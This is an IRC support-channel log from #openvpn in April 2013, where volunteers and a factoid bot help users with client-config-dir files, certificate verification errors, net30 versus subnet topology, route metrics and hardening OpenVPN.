13:15 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
13:15 < pekster> copper: OpenVPN Connect is the commercial product designed by the corp (ie: non-open-source) side of the company entity, "OpenVPN Technologies."
13:15 < copper> any reason I should switch?
13:16 < eafonichev> pekster: thanks
13:16 < pekster> copper: No
13:16 < copper> ok, thanks
13:16 < pekster> (Unless you need the commercial side "Access Server" support, but IIRC you can connect to it fine with the GPL stuff too)
13:16 < pekster> I don't know anything about the commercial, non-free offerings. I don't care to
13:17 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 252 seconds]
13:19 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
13:23 -!- peper [~peper@gentoo/developer/peper] has quit [Remote host closed the connection]
13:25 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
13:27 -!- copper [~copper@unaffiliated/copper] has left #openvpn ["Leaving"]
13:29 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 246 seconds]
13:42 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
13:53 < eafonichev> --client-connect is just to notify external scripts that a new client is connected. And output of that script is ignored, right?
13:53 <@ecrist> eafonichev: yes, iirc
13:53 <@ecrist> !man
13:53 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:54 < Aketzu> "If script returns a non-zero error status, it will cause the client to be disconnected."
13:55 < pekster> eafonichev: No, output is marshalled to the client and processed as the ccd file is
13:55 < pekster> In addition to the exit status as Aketzu just noted
13:55 < pekster> eafonichev: Erm, sorry, $1 that is
13:56 < pekster> (not stdout)
14:02 < eafonichev> finally I got the idea - I need to write smth to file given in $1
14:02 < eafonichev> thanks
14:05 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:18 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:19 -!- awc737 is now known as awc737_away
14:23 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
14:25 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
14:46 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
14:56 -!- Fast[BDC] [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 256 seconds]
14:57 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
15:01 < C-S-B> Whats the best way to increase the metric of a pushed route.
15:01 < C-S-B> ?
15:03 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 268 seconds]
15:03 -!- pcdummy [~quassel@mx1.page4me.ch] has joined #openvpn
15:03 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
15:03 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
15:20 -!- pcdummy is now known as Fast[BDC]
15:31 < pppingme> --route-metric m : Specify a default metric for use with --route.
15:31 < pppingme> C-S-B
15:31 < pppingme> thats for all routes
15:31 < pppingme> or
15:32 < pppingme> --route network [netmask] [gateway] [metric]
15:35 < C-S-B> this is in the server conf, not on the client.
15:36 < pekster> What server OS?
15:36 < C-S-B> linux
15:36 < C-S-B> I'd like to push the metric with the route.
15:37 < pekster> Are you doing dynamic routing?
15:37 < pekster> If not, you don't need metrics at all (Linux actually ignores them)
15:39 < C-S-B> well, it's because I have to push  192.168.0.0 while on 192.168.0.0 locally (different networks)
15:39 < pekster> That's not how you fix that
15:39 < pekster> Renumber your networks, or set up some screwy NAT to fix it
15:39 < pekster> Metrics won't do what you want (they don't work how you're expecting)
15:40 < C-S-B> If the remote network has a higher metric, it will chose the local route no?
15:40 < pekster> Also, that's a hidious network choice for a VPN or to use when gluing mutliple networks together
15:40 < pekster> No
15:40 < pekster> I just told you Linux doesn't use metrics at *all* unless you're doing dynamic routing, and even then you need a supporting setup to make use of them
15:40 < C-S-B> ok.
15:41 < C-S-B> The remote 192.168.0.0 network is not mine, and I'm currently on a network that is not mine.
15:41 < pekster> Then perhaps you need to work with those whose it is
15:41 < C-S-B> sure.
15:42 < C-S-B> thanks none the less.
15:43 -!- eafonichev [~eafoniche@194.213.110.66] has quit [Quit: Leaving]
15:45 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
15:47 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
15:48 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
15:51 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
15:52 -!- awc737_away is now known as awc737
15:53 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
15:58 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
16:03 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
16:12 -!- malavore [~maladore@pa.byuh.edu] has joined #openvpn
16:13 < malavore> !welcome
16:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:13 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:13 < malavore> !howto
16:13 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:16 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
16:19 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
16:22 -!- eres [~rs@onyon.net] has quit [Ping timeout: 240 seconds]
16:24 -!- eres [~rs@onyon.net] has joined #openvpn
16:38 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:55 -!- yes_understand [~chatzilla@91.252.154.253] has joined #openvpn
16:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:12 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
17:13 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
17:16 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
17:16 -!- yes_understand [~chatzilla@91.252.154.253] has quit [Read error: Connection reset by peer]
17:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
17:34 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
17:40 < malavore> My goal is to direct bittorrent traffic through my vpn. I set up openvpn both in my linux server and in my windows client. They are now connected. But I am stumped on what I do next.
17:41 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:44 < pekster> You effectively can't do policy routing on Windows
17:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:49 < rob0> Can't? Or just that no one outside of Redmond knows how? :)
17:49 < pekster> ISA server probably can
17:50 < pekster> Maybe there's some undocumented feature for the other server OS's, but why would you pay that much to run a BT client on when a Linux VM on 256M RAM is free and easier
17:50 < rob0> Windows seems not well documented, IME. Yep, stick with better documented and cheaper (free!) software.
17:51 < rob0> or, skip the VPN altogether: run a bt client directly on the Linux server
17:58 < malavore> dang
17:58 < malavore> well, guess I
17:58 < malavore> m gonna have to do it that way then
17:58 < malavore> its just much nicer with a GUI
18:14 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has joined #openvpn
18:15 < rob0> pekster's idea could give you a GUI: run a Linux VM on Windows.
18:16 < pekster> Or just toss up fluxbox + tightvnc on the server
18:16 < pekster> Plenty of options
18:41 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has joined #openvpn
18:55 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
18:58 -!- austlaw [~austlaw@94.200.189.50] has joined #openvpn
18:59 < austlaw> !paste
18:59 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
19:01 -!- awc737 is now known as awc737_away
19:02 < austlaw> Been trying to setup my OpenVPN, 2 windows boxes, server+client
19:02 < austlaw> Seem to be having cert issues
19:03 < austlaw> https://gist.github.com/anonymous/14dbf5fba9f4989a1220
19:03 <@vpnHelper> Title: gist:14dbf5fba9f4989a1220 (at gist.github.com)
19:03 < austlaw> getting these errors on the client side
19:03 < austlaw> https://gist.github.com/anonymous/c30ea5131c8ed761a36b here is the config
19:03 <@vpnHelper> Title: gist:c30ea5131c8ed761a36b (at gist.github.com)
19:03 <@krzee> !certverify
19:04 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
19:04 < austlaw> I ran that
19:04 < austlaw> on both the server and the client, both said "OK"
19:04 <@krzee> and the ca.crt md5 matches?
19:04 < austlaw> I did not check md5
19:04 <@krzee> then do
19:04 < austlaw> they look the same in notepad :P
19:04 <@krzee> oh right windows
19:05 <@krzee> ya if its the same thats cool
19:05 <@krzee> md5 doesnt matter, that you are 100% sure they are from the same pki matters
19:05 < pekster> They need to be the same (if you're expecting to test it locally on each side like that) not just look the same
19:05 < austlaw> what I dont understand, the error printed:
19:05 < austlaw> Sat Apr 27 03:34:39 2013 us=615000 VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: /C=US/ST=OH/L=Columbus/O=Private_Internet_Access/CN=Private_Internet_Access_CA/emailAddress=secure@privateinternetaccess.com
19:05 <@krzee> its a openssl error
19:05 < pekster> austlaw: PKI requires a trusted root cert; that error means a self-signed cert that wasn't expected was encountered
19:06 <@krzee> no error on the other side?
19:06 < austlaw> the Private_Internet_Access CN
19:06 < austlaw> that is NOT my cert that I created
19:06 <@krzee> wait what?
19:06 <@krzee> use your certs then!
19:06 < austlaw> well, yeah, im trying
19:07 < austlaw> I believe I am pointing to the certs I have created...and verified..
19:07 < pekster> That's coming from the peer
19:07 < pekster> Your peer is presenting a top-level cert that doesn't match the expected local (ie: trusted) root
19:08 < austlaw> "peer" ?
19:08 < pekster> the other end
19:08 < austlaw> ok
19:08 < austlaw> I once had a paid for OpenVPN server...it was Private_Internet_Access...
19:09 < austlaw> but my server openvpn config shouldnt point to that cert at all
19:09 < pekster> You can view the cert in "friendly" form with `openssl x509 -in ca.crt -noout -text`
19:10 < pekster> Verify everything is as you expect
19:11 < austlaw> Issuer: C=US, ST=CA, L=SanFrancisco, O=OpenVPN, OU=atl, CN=atl/name=atl/emailAddress=mail@host.domain
19:11 < pekster> Not connecting where you think you are on the client is my guess
19:11 < austlaw> which is what I am expecting
19:11 < austlaw> and getting on both sides
19:11 < austlaw> hmm
19:12 < austlaw> you know what...
19:12 < austlaw> I think I know
19:12 < austlaw> bah, thats it
19:13 -!- raidz is now known as raidz_away
19:13 < austlaw> when my dynamic dns updated I was connected to the paid VPN...so it set the dns to the paid VPN ip
19:14 < austlaw> so yeah, you are correct, thanks
19:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
19:27 <@krzee> he does that often ;]
19:29 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:43 -!- brute11k [~brute@89.249.231.15] has joined #openvpn
19:44 -!- brute11k1 [~brute@89.249.231.15] has quit [Ping timeout: 252 seconds]
20:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:07 -!- Gumby` [~gumby@unaffiliated/gumby] has quit [Quit: Leaving]
20:08 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:22 < austlaw> hmm well it...is...kinda..working
20:22 < austlaw> seems to take FOREVER to connect
20:22 < austlaw> on the order of minutes
20:31 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
20:31 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 268 seconds]
20:42 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
20:54 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:00 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
21:07 -!- brute11k1 [~brute@89.249.231.15] has joined #openvpn
21:07 -!- brute11k [~brute@89.249.231.15] has quit [Ping timeout: 240 seconds]
21:11 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has quit [Ping timeout: 256 seconds]
21:11 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
21:15 < austlaw> hmm, once I am connected with a dev tun
21:15 < austlaw> should a point-to-point ping from the client to server require any additional routes?
21:16 < austlaw> basically, I am able to connect, but cannot ping the server
21:16 < EugeneKay> Nope.
21:16 < EugeneKay> !logs
21:16 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:17 < pekster> In net30 mode, yes, since the 2nd IP is a peering IP only; you'd need a route to the server (usually listening on $network.1)
21:17 < pekster> In subnet mode, no, since the route comes along with the network config
21:17 -!- ServerTechLaptop [~ServerTec@server2.hosthighway.co] has joined #openvpn
21:22 < austlaw> client log: https://gist.github.com/anonymous/f4523dff9881280a5745
21:22 <@vpnHelper> Title: gist:f4523dff9881280a5745 (at gist.github.com)
21:23 < pekster> Firewalls allowing, that should let you ping 10.20.30.1 from the client
21:24 < pekster> Normally you just push a route for the entire subnet (/24 or whatever you're using) but you can do it like that too if you just care about that single host
21:25 < austlaw> I dont have any routes pushed, unless it is automatic
21:25 < pekster> The push for 10.20.30.1 comes along from the server, and no, that's not automatic
21:26 < pekster> line 298 in that gist
21:26 < pekster> That's not automatic
21:26 < pekster> (I don't think, anyway. It's been a while since I've ran net30 TBH)
21:27 < austlaw> https://gist.github.com/anonymous/9e48f470023ae03cc1c9
21:27 <@vpnHelper> Title: gist:9e48f470023ae03cc1c9 (at gist.github.com)
21:27 < austlaw> the server config
21:28 < austlaw> I believe the net30 is a windows requirement or something?
21:28 < pekster> Not since 2.0.9
21:28 < pekster> !topology
21:28 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
21:29 < pekster> subnet is recommended unless you need to support a pre-2.1 windows client
21:29 < pekster> !subnet
21:29 <@vpnHelper> "subnet" is http://www.subnet-calculator.com/ or http://en.wikipedia.org/wiki/Subnetwork
21:29 < pekster> Erm
21:30 < austlaw> i see
21:34 < austlaw> well I dont think I added anything to make it make it split it into /30 subnets
21:37 < pekster> It's the default
21:37 < pekster> !net30
21:37 <@vpnHelper> "net30" is "/30" is (#1) http://openvpn.net/index.php/documentation/faq.html#slash30 explains why routed clients each use 4 ips, or (#2) you can avoid this behavior with by reading !topology
21:37 < pekster> !/30
21:37 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
21:37 < pekster> That's the one I wanted earlier
21:38 < austlaw> so its not recommended but still default? :P
21:38 < austlaw> l
21:48 < austlaw> nice, works
21:48 < austlaw> and without all that bullshit subnettig
21:49 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
21:52 -!- malavore [~maladore@pa.byuh.edu] has quit [Quit: Leaving]
21:59 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
22:02 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
22:08 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
22:21 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has left #openvpn ["I'm outta here"]
22:22 -!- master_of_master [~master_of@p4FF243E2.dip0.t-ipconnect.de] has joined #openvpn
22:25 -!- master_o1_master [~master_of@p4FF24AF3.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
22:36 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
22:39 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 252 seconds]
22:39 -!- Poster|x is now known as Poster
23:01 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
23:11 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 256 seconds]
23:11 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 256 seconds]
23:28 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
23:57 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
--- Day changed Sat Apr 27 2013
00:01 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 246 seconds]
00:08 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:11 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
00:12 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:19 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 276 seconds]
00:21 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
00:27 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Excess Flood]
00:27 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
00:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
00:31 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
00:31 -!- xtz is now known as Guest44257
00:32 < dimm0k> finally able to get the server and client connected and able to ping each other...  now to deal with the routes
00:33 < dimm0k> if both the server and client use the same subnet, do i need an iroute?
00:33 < dimm0k> rather, what would i put in the iroute....
00:45 < Poster> is the server running a bridge?
00:46 < dimm0k> no bridge...
00:46 < Poster> ok what is it you're trying to access from the client?
00:47 < dimm0k> the internet and specifically a linux machine on the server's network
00:49 < Poster> ok so you want to tunnel all internet traffic and access a system behind the openvpn server?
00:50 < dimm0k> correct
00:50 < dimm0k> also want that system behind the openvpn server to be able to access this connecting client
00:51 < dimm0k> and lastly, both the server and client LAN are using the 192.168.8.xxx subnet
00:52 < dimm0k> so i'm a bit confused...  will i have to change one of the subnets for this to work?
00:54 < Aketzu> changing one subnet is the easiest way
00:55 < dimm0k> if that's the case, is there a way for me to test my setup locally before going "live"?
00:56 < Aketzu> build it with a few virtual machines :)
00:57 < dimm0k> hrmm
00:58 < dimm0k> well i kind of have the server already set up on one machine and the client on the other...  they're currently both on the same LAN
00:58 < dimm0k> the plan is to move the server to another location...
01:00 < dimm0k> i can currently ping each other via the tunnel...  so say i were to go live without setting up the routes.  i should be able to set things up remotely if i can currently ping the server?
01:01 < Aketzu> if you can ping then you can likely also ssh to server through the tunnel and setup things remotely
01:02 < Aketzu> the downside being that some changes requires restarting openvpn which disconnect your remote connection
01:02 < Aketzu> just take the server home and plug it to your adsl (or whatever) and test there :)
01:04 < dimm0k> hrmm, sounds like a plan.  thanks!
01:06 < dimm0k> regarding the "Unprivileged mode (Linux only)" section to harden openvpn...  does that section apply to both the client and the server?
01:07 < Aketzu> I think so
01:07 < Aketzu> you can harden both ends
01:08 < dimm0k> great, i'll look into those as well
01:15 -!- zeshoem is now known as _mnathani_
01:16 < Poster> dimm0k: in addition to dropping root privileges, you can also run openvpn in a chroot
01:38 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
01:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:32 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
02:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
02:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:50 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:50 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:50 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:12 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
03:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:27 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:32 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:32 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:32 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
03:44 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
03:44 -!- tharkun [~0@187.188.166.5] has joined #openvpn
03:44 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
03:44 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:01 < blorgh> please excuse my ignorance, but when sending all IP traffic over a layer 3 tunnel while connected to untrusted networks, are there any weaknesses in layer 2 that might present an attack vector?
04:15 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:15 < Aketzu> erm?
04:21 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:27 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:32 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Client Quit]
04:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:38 < zapotah> blorgh: think about the OSI model and work down the stack, and i'm sure youll come up with an answer.
04:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:46 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
04:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
04:52 -!- tharkun [~0@187.188.166.5] has joined #openvpn
04:52 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
04:52 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
04:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:57 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
05:02 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
05:02 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
05:07 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
05:08 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:14 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:14 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:14 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:17 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 258 seconds]
05:17 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
05:22 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:24 -!- tharkun [~0@187.188.166.5] has joined #openvpn
05:24 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
05:24 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
05:30 -!- hesperaux [~hesperaux@174.37.86.108] has joined #openvpn
05:31 < hesperaux> Hello. I have a fairly stable vpn connection to a third party VPN service. The problem is I am seeing MANAGEMENT: Client disconnected, MANAGEMENT: Client connected from /path/to/client1.sock errors about every 20 minutes, and I have noticed occasional hiccups in my connection. Is there a known cause to this?
05:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:06 < hesperaux> Scratch that, I submitted a support ticket, and I don't think it's related to the management interface... who knows what it is though...
06:20 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:22 < rob0> My guess would be that you have some kind of GUI which uses the management interface, and no, that's probably not causing connection problems.
06:32 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
06:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:38 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
06:38 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:40 -!- speed_racer8 [~speed_rac@173.45.218.54] has joined #openvpn
06:41 -!- novaflash is now known as novaflash_away
06:45 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:46 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:53 -!- novaflash_away is now known as novaflash
06:59 -!- novaflash is now known as novaflash_away
07:02 -!- novaflash_away is now known as novaflash
07:35 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has joined #openvpn
08:03 -!- novaflash is now known as novaflash_away
08:05 -!- novaflash_away is now known as novaflash
08:10 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:46 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has left #openvpn ["离开"]
08:57 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has joined #openvpn
09:12 < ayaka> in client side(without public ipv4 address) has native ipv6 access, if I want to let server accesses ipv6 throught client, how to?
09:13 -!- mattock is now known as mattock_afk
09:13 -!- mattock_afk is now known as mattock
09:21 < dimm0k> setting up openvpn to run as unprivileged mode in linux means no longer starting openvpn at startup and instead invoking it as that user each time?
09:23 -!- brute11k [~brute@89.249.231.15] has joined #openvpn
09:24 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 258 seconds]
09:25 -!- brute11k1 [~brute@89.249.231.15] has quit [Ping timeout: 252 seconds]
09:29 < dimm0k> so there's no real point in running as unprivileged mode if i'm starting openvpn during boot?
09:31 -!- xbanux [~xbanux@triband-mum-59.182.178.70.mtnl.net.in] has joined #openvpn
09:34 -!- S1lv3R [~BenLue@69.197.175.44] has joined #openvpn
09:38 -!- BenLue [~BenLue@unaffiliated/benlue] has quit [Ping timeout: 276 seconds]
09:41 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
09:42 < stephan48> hi, is it possible to use openvpn on windows with the integrated certificate store?
09:44 < Aketzu> yes, --cryptoapicert select-string
09:47 -!- xbanux [~xbanux@triband-mum-59.182.178.70.mtnl.net.in] has quit [Read error: Connection reset by peer]
09:48 -!- xbanux [~xbanux@triband-mum-59.182.176.78.mtnl.net.in] has joined #openvpn
09:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
09:56 < stephan48> Aketzu: thanks, i will look into that
10:05 -!- SpaceBass [~SP@173-167-53-210-cpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
10:05 < SpaceBass> anyone using the iOS app? Im trying to import my profile (inline) and it keeps saying error bad file?but same config file works on android
10:06 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
10:07 -!- S1lv3R [~BenLue@69.197.175.44] has quit [Ping timeout: 264 seconds]
10:17 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit [Changing host]
10:17 -!- BenLue [~BenLue@unaffiliated/benlue] has joined #openvpn
10:19 < dimm0k> the client-config-dir directory.
10:20 < dimm0k> refers to /etc/openvpn/ccd?
10:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
10:29 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
10:31 -!- speed_racer8 [~speed_rac@173.45.218.54] has quit [Ping timeout: 258 seconds]
10:38 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
10:42 -!- petrus_lt [~petrus@poum.tk] has joined #openvpn
10:43 < petrus_lt> hello
10:43 < petrus_lt> !welcome
